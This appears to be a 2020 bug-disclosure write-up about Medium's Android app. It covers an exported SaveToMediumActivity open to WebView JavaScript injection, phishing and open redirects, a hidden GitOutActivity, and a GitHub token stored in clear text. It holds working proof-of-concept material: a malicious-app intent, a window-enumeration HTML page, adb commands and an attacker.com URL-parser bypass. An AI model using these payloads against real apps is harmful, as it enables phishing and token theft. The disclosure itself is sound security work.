Hacking Medium Android: Injecting Rogue Medium Stories Leading XSS, Javascript Injection, Open Redirects

# Date: 23-06-2020
# Target: Medium Android (v3.16.1010280 | latest)
# Category/Type: Local / Improper Platform Usage / Client Security Misconfiguration
Summary

I discovered an activity in Medium's Android application named `com.medium.android.donkey.save.SaveToMediumActivity` which is set to exported so any malicious app can communicate with it. And the implementation doesn't properly validate data passed to intent due to which this activity is vulnerable to phishing (stealing users credentials), javascript injection and open redirects. It implements basic `https` scheme checks (android.net.URI / Patterns.WEB_URL.matcher & intent-filters), but they can also be defeated as shown below in the consequent section.

Here is just an example how it can be used against, say, opening arbitrary links inside WebView. It could be to trigger XSS, or perform phishing attacks (both `title` & `domain` fields are controlled by attacker):

{MaliciousStoryEntry-PoC.mp4} (just displays basic browserinfo using JS)
 
Using malicious android app

```
Intent i = new Intent();
i.setComponent(new ComponentName("com.medium.reader","com.medium.android.donkey.save.SaveToMediumActivity"));
i.putExtra(android.intent.extra.TEXT, 'https://malcious.com');
startActivity(i);
```

Thus, physical access is not required.

As we can inject javascript, we can also loop through each of the window elements stored in Medium's webview using the following,

```webview__enum.html
<!DOCTYPE html>
<html>
<head><title>Medium WebView Enum PoC</title></head>
<body style="text-align: center;">
<script>Object.getOwnPropertyNames(window).forEach(function(v, x) { document.writeln(v); });</script>
</body>
</html>
```
{WebViewEnum-PoC.mp4}
At this moment, I wasn't able to chain the vulnerability but it contains the potential of leaking Facebook (fbconnect) Oauth tokens.

Extra

I also discovered another exported activity which isn't accessible by the app's user-interface but can be invoked to access restricted actions (for end-users).

The activity called `com.medium.android.donkey.meta.gitout.GitOutActivity` is not an intended feature (activity can not be invoked throughout the application) which when invoked can query internal Medium API over `repos/Medium/tickets/issues` as referenced in `GithubApi.java`.

``` GithubApi.java

public interface GithubApi {
    @POST("repos/Medium/tickets/issues")
    Observable<ResponseBody> createIssue(@Header("Authorization") String str, @Body CreateGithubIssueRequest createGithubIssueRequest);
}

```

Also, the GitHub token is stored in *clear-text* using Shared preferences and can be accessed over /data/data/com.medium.reader/shared_prefs/*

Invoking GitOutActivity

```
$ adb shell am start -n com.medium.reader/com.medium.android.donkey.meta.gitout.GitOutActivity
```

{InvokeGitOutActivity-PoC.png}
 
Bypassing URL Parser
 

Other than these, the current intent-filter implementation is as following,

```
...snip...
            <category android:name="android.intent.category.BROWSABLE"/>
            <data android:scheme="https" android:host="trustdomain.com"/>
        </intent-filter>
    </activity>
```

which can be bypassed by,

```
<a href="intent://not_used/#Intent;scheme=https://attacker.com\\@trustdomain.com/;end">test</a>
adb shell am start -a "android.intent.action.SEND" -n "com.medium.reader/com.medium.android.donkey.save.SaveToMediumActivity" --es "android.intent.extra.TEXT" "https://google.com@facebook.com"

{URLParserBypass-PoC.mp4}
 
 
https://medium.com/bugbountywriteup/hacking-the-medium-partner-program-84c0e9fa340